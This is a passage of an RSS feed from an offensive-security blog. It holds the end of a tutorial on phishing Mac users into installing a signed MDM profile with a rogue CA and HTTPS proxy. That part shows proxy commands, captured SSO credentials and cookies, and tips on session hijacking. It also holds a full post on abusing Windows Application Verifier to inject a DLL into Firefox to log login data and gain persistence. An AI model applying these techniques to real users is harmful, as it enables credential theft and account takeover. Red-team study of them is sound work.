&lt;span class="line"&gt;&lt;span&gt;hRzq/YAFZJUnqeeFKtQ+UdS+afIl5JkdVm1MDmRXuxt4IdOBSTW0TYaB0X3Itvp1&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;2IQ0CK1OUTmnEL2f4ubGI9kivV/7x2qyNz0ft1F5OxXyE2U/uM5Dq6vc3DWrQL2S&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Let&amp;rsquo;s kick off the proxy server so it&amp;rsquo;s ready. If you&amp;rsquo;re lazy and just want to clone the super basic proxy server code, it&amp;rsquo;s located &lt;a href="https://github.com/xpcmdshell/procksy" target="_blank" rel="noopener noreferrer"&gt;here&lt;/a&gt;. I&amp;rsquo;m just going to throw this into an ec2 instance in AWS.&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="text"&gt;&lt;span class="line"&gt;&lt;span&gt;ubuntu@ip-172-31-23-174:~$ cd procksy/&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;ubuntu@ip-172-31-23-174:~/procksy$ ls&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;go.mod go.sum main.go&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;ubuntu@ip-172-31-23-174:~/procksy$ sudo ./procksy -cert ../out/Acme_Corp.crt -key ../out/Acme_Corp.key&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Alright, now the proxy is listening and ready to capture web traffic. Let&amp;rsquo;s move on to the next step, setting up our malicious profile.&lt;/p&gt;
&lt;h2 id="building-the-profile"&gt;Building The Profile&lt;a class="heading-anchor" href="#building-the-profile" aria-label="Link to Building The Profile"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;For simplicity, I&amp;rsquo;m going to use &lt;a href="https://apps.apple.com/us/app/apple-configurator-2/id1037126344" target="_blank" rel="noopener noreferrer"&gt;Apple&amp;rsquo;s Configurator 2&lt;/a&gt; to generate the profile. An alternative is &lt;a href="https://apps.apple.com/us/app/imazing-profile-editor/id1487860882" target="_blank" rel="noopener noreferrer"&gt;iMazing Profile Editor&lt;/a&gt;. There&amp;rsquo;s plenty of graphical profile editor utilities, which one you use is up to you. When you open Configurator, you&amp;rsquo;ll be presented a screen that looks like the following:&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/mdm/configurator_open.png"&gt;&lt;img src="https://0day.gg/images/mdm/configurator_open.png" alt="Apple Configurator 2" loading="lazy" decoding="async" width="1112" height="830"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;p&gt;Click &lt;code&gt;File -&amp;gt; New Profile&lt;/code&gt; and you&amp;rsquo;ll come to the profile editor window. The first tab, &lt;code&gt;General&lt;/code&gt;, lets us set up a name (the profile title), a unique identifier, an organizational identifier, a description to display to the user during installation. Use these fields to tailor the install experience to your phishing pretext.&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/mdm/configurator_general.png"&gt;&lt;img src="https://0day.gg/images/mdm/configurator_general.png" alt="General Profile Configuration" loading="lazy" decoding="async" width="1038" height="974"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;p&gt;An important feature to note on this page is the support for automatic removal. You can set the profile to expire after a specified duration, or on a specified date. When the expiry criteria is met, the profile will be automatically uninstalled, and any settings it changed will be reverted. This includes removing your installed certificate from the Keychain.&lt;/p&gt;
&lt;p&gt;Next, let&amp;rsquo;s set up the Proxy configuration. You&amp;rsquo;ll need to set the hostname and port. You can optionally configure a username and password to authenticate to the proxy with, if your setup supports it.&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/mdm/configurator_proxy.png"&gt;&lt;img src="https://0day.gg/images/mdm/configurator_proxy.png" alt="Proxy Configuration" loading="lazy" decoding="async" width="1038" height="974"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;p&gt;In order to proxy HTTPS traffic without generating trust errors, we&amp;rsquo;ll need their system to trust our CA. Let&amp;rsquo;s add our rogue CA certificate to their Keychain. When you click &lt;code&gt;Configure&lt;/code&gt;, you&amp;rsquo;ll be given a file selection dialogue to choose a cert file. After you choose your CA certificate, you&amp;rsquo;ll see the following image. Don&amp;rsquo;t worry about the &lt;code&gt;This root certificate is not trusted&lt;/code&gt; warning. It will be trusted once installed by the profile.&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/mdm/configurator_ca.png"&gt;&lt;img src="https://0day.gg/images/mdm/configurator_ca.png" alt="Certificate Configuration" loading="lazy" decoding="async" width="1038" height="974"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;p&gt;The last step is to (optionally) sign our profile. Go to &lt;code&gt;File -&amp;gt; Sign Profile&lt;/code&gt;. A dropdown dialogue will appear listing the code signing identities stored in your Keychain. There are benefits and caveats to weigh when signing your profile. One significant benefit is that the user will see a green &lt;code&gt;Verified&lt;/code&gt; indicator in the expanded installation window next to the org name, which may increase the likelihood of them installing the profile. Note that there aren&amp;rsquo;t any profile signing or notarization requirements by default, so signing is (currently) entirely optional. Gatekeeper won&amp;rsquo;t try to stop you. For the sake of demonstration, I&amp;rsquo;ll sign this profile with my developer certificate. Finally, let&amp;rsquo;s save the profile and get ready to send it to the victim. Go to &lt;code&gt;File -&amp;gt; Save&lt;/code&gt; and select a storage location.&lt;/p&gt;
&lt;p&gt;Now, let&amp;rsquo;s try to install our profile to see what the installation experience is like for the victim. When I open my MDM profile, I&amp;rsquo;m presented with the first installation pane:&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/mdm/install_1.png"&gt;&lt;img src="https://0day.gg/images/mdm/install_1.png" alt="First Installation Pane" loading="lazy" decoding="async" width="780" height="555"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;p&gt;If I click the &lt;code&gt;Show Profile&lt;/code&gt; button, the pane will expand to display the profile details. Note the nice looking green &lt;code&gt;Verified&lt;/code&gt; indicator that ends up right next to our company name. Legitimate looking. Very soothing. Reminds me of home. The victim will likely not understand that the &lt;code&gt;Verified&lt;/code&gt; indicator simply means the profile has been signed, and that it may not legitimately be from the organization that is show next to it in that dialog.&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/mdm/show_profile_verified.png"&gt;&lt;img src="https://0day.gg/images/mdm/show_profile_verified.png" alt="Show Profile" loading="lazy" decoding="async" width="780" height="555"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;p&gt;I&amp;rsquo;ve redacted my Developer ID and name from the dialogue, but note that those will show up if you choose to sign your profile. Below that, the user can see the configuration details. You should count on the user wanting to click &lt;code&gt;Show Profile&lt;/code&gt;, so choose a domain that fits the pretext. You can imagine &lt;code&gt;0day.gg&lt;/code&gt; isn&amp;rsquo;t the best choice, but it works for this demo. Something like &lt;code&gt;proxy.target-org-lookalike.tld&lt;/code&gt; could be a good choice.&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/mdm/show_profile_2.png"&gt;&lt;img src="https://0day.gg/images/mdm/show_profile_2.png" alt="Show Profile - Payload Details" loading="lazy" decoding="async" width="780" height="555"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;p&gt;After clicking continue, the user will hit one last pane (with an optional expansion button):&lt;/p&gt;
&lt;p&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/mdm/install_final.png"&gt;&lt;img src="https://0day.gg/images/mdm/install_final.png" alt="Final Install Pane" loading="lazy" decoding="async" width="1560" height="1110"&gt;&lt;/a&gt;
&lt;a class="image-link" data-zoom href="https://0day.gg/images/mdm/install_final_expand.png"&gt;&lt;img src="https://0day.gg/images/mdm/install_final_expand.png" alt="Final Install - Expand Pane" loading="lazy" decoding="async" width="1560" height="1110"&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;Upon clicking &lt;code&gt;Install&lt;/code&gt;, the user will be asked for either their password or fingerprint, depending on if TouchID is configured or not. After supplying credentials or using the fingerprint sensor, the profile is installed.&lt;/p&gt;
&lt;h2 id="testing-the-setup"&gt;Testing The Setup&lt;a class="heading-anchor" href="#testing-the-setup" aria-label="Link to Testing The Setup"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s hit Google and see if our setup is working. There should be no certificate errors.&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/mdm/browser_verified.png"&gt;&lt;img src="https://0day.gg/images/mdm/browser_verified.png" alt="Browser Test" loading="lazy" decoding="async" width="1259" height="866"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;p&gt;And if we pop over to our proxy, we should see the request in STDOUT:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="text"&gt;&lt;span class="line"&gt;&lt;span&gt;ubuntu@ip-172-31-23-174:~/procksy$ sudo ./procksy -cert ../out/Acme_Corp.crt -key ../out/Acme_Corp.key&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;[SNIP]&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;GET http://www.google.com/ HTTP/1.1&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Accept-Encoding: gzip, deflate&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Accept-Language: en-US,en;q=0.5&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Connection: keep-alive&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Upgrade-Insecure-Requests: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:71.0) Gecko/20100101 Firefox/71.0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Let&amp;rsquo;s simulate the victim signing in to their company SSO portal.&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/mdm/okta_login.png"&gt;&lt;img src="https://0day.gg/images/mdm/okta_login.png" alt="SSO Login" loading="lazy" decoding="async" width="1259" height="866"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;p&gt;And the corresponding request in the proxy log:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="text"&gt;&lt;span class="line"&gt;&lt;span&gt;POST / HTTP/1.1&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Host: [SNIP].okta.com&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Accept-Encoding: gzip, deflate, br&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Accept-Language: en-US,en;q=0.5&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Connection: keep-alive&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Content-Length: 39&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Content-Type: application/x-www-form-urlencoded&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Cookie: __cfduid=de55169fca8d355f6b947f59708f984db1576815061; _okta_attribution={\%22utm_page%22:%22/%22%2C%22utm_date%22:%2212/19/2019%22}; _okta_session_attribut&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;ion={\%22utm_page%22:%22/%22%2C%22utm_date%22:%2212/19/2019%22}; _okta_original_attribution={\%22utm_page%22:%22/%22%2C%22utm_date%22:%2212/19/2019%22}&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Origin: https://[SNIP].okta.com&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Referer: https://[SNIP].okta.com/&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Upgrade-Insecure-Requests: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:71.0) Gecko/20100101 Firefox/71.0&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;username=snacksun&amp;#x26;password=slackersclub&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Once the user has completed their login process and hit the landing page, we will have recorded both their credentials (username:password pair) as well as cookies for their active session. Having access to the cookies can be especially useful when attacking SSO portal that are protected with 2FA, as a user:password pair won&amp;rsquo;t cut it for access. By using their user:password, you also risk triggering protections that alert on logins from a new location. Import the cookies into your own browser using an extension such as &lt;a href="https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg" target="_blank" rel="noopener noreferrer"&gt;Editthiscookie&lt;/a&gt;, and have fun looting with their session.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s useful to note that our proxy settings will be inherited by apps that respect the system HTTP proxy settings. So you&amp;rsquo;re not limited to capturing/manipulating only browser-generated traffic.&lt;/p&gt;
&lt;h2 id="bonus-round"&gt;Bonus Round&lt;a class="heading-anchor" href="#bonus-round" aria-label="Link to Bonus Round"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Our proxy controls both the request (before hitting the destination server) and the response (before being returned to the client), so we can freely manipulate traffic. Some attacks to consider might be injecting JS hooks using something like &lt;a href="https://beefproject.com/" target="_blank" rel="noopener noreferrer"&gt;Beef&lt;/a&gt; for client side phishing attacks and potential internal network access via XHR, and code injection in downloaded applications and scripts. Maybe you add a line to install scripts that the user downloads, or intercept packages, add files and manipulate scripts, resign, then forward it back to the requesting client. You&amp;rsquo;re the middleman.&lt;/p&gt;
&lt;h2 id="does-this-work-for-ios-devices"&gt;Does This Work For iOS Devices?&lt;a class="heading-anchor" href="#does-this-work-for-ios-devices" aria-label="Link to Does This Work For iOS Devices?"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;It does, with some limitations. This payload can only be installed on an iOS device that is in &lt;a href="https://support.apple.com/guide/apple-configurator-2/supervised-devices-apd9e4f64088/mac" target="_blank" rel="noopener noreferrer"&gt;supervised mode&lt;/a&gt;. If the organization you&amp;rsquo;re targeting issues corporate phones, they&amp;rsquo;re likely centrally managed somehow, so the devices will probably be in supervised mode. In that case, you can send the MDM profile to the victim and have them open it in either Safari or the Mail app, and they will be walked through similar installation steps. The major difference in installation experience is that after downloading the profile, the user will be directed to manually go to the Profiles section in the Settings app to finish the installation.&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/mdm/install_ios.png"&gt;&lt;img src="https://0day.gg/images/mdm/install_ios.png" alt="iOS Profile Installation" loading="lazy" decoding="async" width="323" height="700"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;h2 id="wrapping-up"&gt;Wrapping Up&lt;a class="heading-anchor" href="#wrapping-up" aria-label="Link to Wrapping Up"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;MDM profiles have some interesting applications for attackers. There&amp;rsquo;s a lot of attack surface to be explored here yet, and Apple hasn&amp;rsquo;t yet introduced signing and verification requirements for profiles. We&amp;rsquo;ve seen that the HTTP proxy payload is very powerful in SSO+SaaS based environments. If you liked this post, you might find &lt;a href="https://lockboxx.blogspot.com/2019/04/macos-red-teaming-203-mdm-mobile-device.html" target="_blank" rel="noopener noreferrer"&gt;@1njection&amp;rsquo;s MDM post interesting as well&lt;/a&gt;. If you&amp;rsquo;d like to explore all of the official keys/payloads for profiles, you should check out &lt;a href="https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf" target="_blank" rel="noopener noreferrer"&gt;Apple&amp;rsquo;s reference&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Leveraging Application Verifier for Function Hooking and Persistence</title><link>https://0day.gg/blog/application-verifier/</link><guid>https://0day.gg/blog/application-verifier/</guid><pubDate>Fri, 02 Jun 2017 00:00:00 +0000</pubDate><description>&lt;h2 id="introduction-to-application-verifier"&gt;Introduction to Application Verifier&lt;a class="heading-anchor" href="#introduction-to-application-verifier" aria-label="Link to Introduction to Application Verifier"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Function hooking is a powerful tool for attackers. The ability to inspect and modify data structures as they&amp;rsquo;re passed between functions within a program gives an attacker lots of options for session riding, credential theft, parameter modification, etc. We&amp;rsquo;re going to take a look at an excellent tool that is provided to us by Microsoft called Application Verifier, which can be leveraged to perform hooking(and persistence) in a trivial, yet powerful manner by letting us run code in the context of an arbitrary unmanaged(native) application.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://msdn.microsoft.com/en-us/library/ms220948%28v=vs.90%29.aspx" target="_blank" rel="noopener noreferrer"&gt;MSDN page&lt;/a&gt; describes AppVerifier as such:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="text"&gt;&lt;span class="line"&gt;&lt;span&gt;Application Verifier assists developers in quickly finding subtle programming errors that can be extremely difficult to identify with normal application testing. Using Application Verifier in Visual Studio makes it easier to create reliable applications by identifying errors caused by heap corruption, incorrect handle and critical section usage.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Application Verifier loads a particular &lt;strong&gt;Verification Provider&lt;/strong&gt; into a process as it starts up. This provider, which comes in the form of a DLL, should contain the tests that are to be run in the context of the application being tested. These &amp;ldquo;tests&amp;rdquo; can be arbitrary. The provider is loaded at application startup, right after NTDLL.dll; Because of this, we won&amp;rsquo;t have access to managed code segments in our attack code because we cannot load the CLR (Common Language Runtime, AKA .Net&amp;rsquo;s execution environment) this early. For most things, this isn&amp;rsquo;t an actual problem, but it&amp;rsquo;s good to know.&lt;/p&gt;
&lt;p&gt;So, we can load code into any application as it starts using a mechanism provided by the operating system? &lt;code&gt;LD_PRELOAD&lt;/code&gt; anyone? Let&amp;rsquo;s see how we can leverage this.&lt;/p&gt;
&lt;p&gt;Overall, the process of getting our code launched is as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We create a DLL which serves as the Verification Provider. This DLL is &lt;em&gt;supposed&lt;/em&gt; to run routines that verify the application that it is loaded into. It will contain our function hooks and other code. We will drop this into &lt;code&gt;%windir%\System32\&lt;/code&gt; or &lt;code&gt;%windir%\SysWoW64\&lt;/code&gt; (depending on the bitness of the target application).&lt;/li&gt;
&lt;li&gt;We create a registry key with a few subvalues which sets a few flags (to enable Application Verifier in the right mode) and detailing the name of the library which will serve as the verification provider (our malicious DLL).&lt;/li&gt;
&lt;li&gt;When the application starts (before other libraries are loaded, with the exception of &lt;code&gt;NTDLL&lt;/code&gt;) our Verification Provider will be loaded and execute its code. The load reason will not be &lt;code&gt;THREAD_ATTACH&lt;/code&gt; or &lt;code&gt;PROCESS_ATTACH&lt;/code&gt; as it typically is when a DLL is loaded. The value of fdwReason in this case is 4, which an existing symbol does not exist for. We will just define as &lt;code&gt;VERIFIER_LOADED&lt;/code&gt; ourselves for readability and convenience.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note that this method requires administrator privileges (a UAC bypass should happen before installing the verification provider and its accompanying registry entries), as we&amp;rsquo;re writing to HKLM and performing a privileged copy into &lt;code&gt;System32&lt;/code&gt; or &lt;code&gt;SysWow64&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="demonstration"&gt;Demonstration&lt;a class="heading-anchor" href="#demonstration" aria-label="Link to Demonstration"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;For the demonstration of these capabilities, we&amp;rsquo;re going to inspect and log POST requests made by Firefox by hooking the PR_WRITE function. This will give us access to the data as it&amp;rsquo;s being sent, just before it becomes encrypted with TLS and sent over the network.&lt;/p&gt;
&lt;p&gt;Details on PR_WRITE and other functions in the Netscape Portable Runtime can be found &lt;a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSPR/Reference/PR_Write" target="_blank" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can parse these requests with regular expressions to extract usernames and passwords from POST requests sent to login pages, for example. These siphoned passwords or sensitive requests can be loggedto a 3rd party server. I won&amp;rsquo;t go over writing the regular expressions or reporting aspect, as this article is meant to focus on the deployment and implementation of the hook. When the function is called, our code will execute before the real function and we will be able to inspect or modify the data before forwarding it to the real function. For &lt;code&gt;PR_WRITE&lt;/code&gt;, the data being written to the specified file descriptor(&lt;code&gt;fd&lt;/code&gt;) is stored in the &lt;code&gt;buf&lt;/code&gt; parameter.&lt;/p&gt;
&lt;h2 id="the-code"&gt;The Code&lt;a class="heading-anchor" href="#the-code" aria-label="Link to The Code"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sometimes you&amp;rsquo;ll be working with mostly opaque code (no source available) and have to deal with reverse engineering to determine structure types and contents, function prototypes, etc. This can suck. In this case howerver, the code we&amp;rsquo;re looking for (the Netscape Portable Runtime headers) is &lt;a href="https://dxr.mozilla.org/mozilla-central/source/nsprpub/pr/include" target="_blank" rel="noopener noreferrer"&gt;available for inspection and copypasta&lt;/a&gt;{:target =&amp;gt; blank}. We&amp;rsquo;ll be using their headers to define the structures we&amp;rsquo;re accessing.&lt;/p&gt;
&lt;p&gt;Note that when compiling this DLL, its bitness must match the target application. You must also disable the CLR and set the entrypoint to &lt;code&gt;DllMain&lt;/code&gt;. Not doing so will cause the verifier to fail to load. If you decide to implement any assembly routines to be run, you should also then disable optimizations. Visual Studio makes doing these things fairly easy via tweaking project settings.&lt;/p&gt;
&lt;p&gt;{% gist 0a7906cd6bab09e7870ae6bafca9725f %}&lt;/p&gt;
&lt;p&gt;With our DLL compiled, we just copy it into the correct directory like so:&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/hooky_in_sys32.PNG"&gt;&lt;img src="https://0day.gg/images/hooky_in_sys32.PNG" alt="DLL Dropped" loading="lazy" decoding="async" width="1123" height="481"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;p&gt;Then create the key &lt;code&gt;firefox.exe&lt;/code&gt; under &lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows NT\Current Version\Image File Execution Options\&lt;/code&gt;. Add the following values:&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/regvals.PNG"&gt;&lt;img src="https://0day.gg/images/regvals.PNG" alt="Registry Values" loading="lazy" decoding="async" width="381" height="77"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;p&gt;Then launch Firefox from WinDbg.&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/before_debug_resume.PNG"&gt;&lt;img src="https://0day.gg/images/before_debug_resume.PNG" alt="Firefox Before Debug Resume" loading="lazy" decoding="async" width="1337" height="743"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;p&gt;Press &lt;code&gt;g&lt;/code&gt; to release the breakpoint and let Firefox continue execution, then navigate to a website. I&amp;rsquo;ll go to Google.com; We can see in the window that our traffic that is passing through PR_WRITE is being logged successfully.&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/navigating_to_google.PNG"&gt;&lt;img src="https://0day.gg/images/navigating_to_google.PNG" alt="A Test Request" loading="lazy" decoding="async" width="1600" height="861"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;p&gt;Now let&amp;rsquo;s do a test to see if we really do have access to sensitive traffic. I&amp;rsquo;ll try to log into Twitter (with fake credentials of course).&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/twitter_req.PNG"&gt;&lt;img src="https://0day.gg/images/twitter_req.PNG" alt="Logging Into Twitter" loading="lazy" decoding="async" width="1271" height="769"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;p&gt;Now let&amp;rsquo;s inspect our traffic log file and search for these values:&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/located_data.PNG"&gt;&lt;img src="https://0day.gg/images/located_data.PNG" alt="Found It!" loading="lazy" decoding="async" width="1600" height="861"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;p&gt;Awesome. The selection in question is also trivial to write a regular expression for, so you could write a version of this hook that excludes all of the &amp;ldquo;junk&amp;rdquo; traffic and only reports the username and password values with a regular expression filter.&lt;/p&gt;
&lt;h2 id="with-respect-to-persistence"&gt;With Respect To Persistence&lt;a class="heading-anchor" href="#with-respect-to-persistence" aria-label="Link to With Respect To Persistence"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Instead of installing a function hook, you could simply use this code execution point as a springboard to launch some other component of your malware. You can still use the &lt;code&gt;DLL_PROCESS_ATTACH&lt;/code&gt; event as normal, and it&amp;rsquo;s subject to all the same restrictions as it typically is.&lt;/p&gt;
&lt;h2 id="sources"&gt;Sources:&lt;a class="heading-anchor" href="#sources" aria-label="Link to Sources:"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blogs.msdn.microsoft.com/reiley/2012/08/17/a-debugging-approach-to-application-verifier/" target="_blank" rel="noopener noreferrer"&gt;Reiley Yang&amp;rsquo;s MSDN Blog Post&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.kernelmode.info/forum/viewtopic.php?f=15&amp;amp;t=3418" target="_blank" rel="noopener noreferrer"&gt;EP_X0FF&amp;rsquo;s KernelMode.info thread&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=pHyWyH804xE" target="_blank" rel="noopener noreferrer"&gt;Alex Ionescu&amp;rsquo;s Presentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item></channel></rss>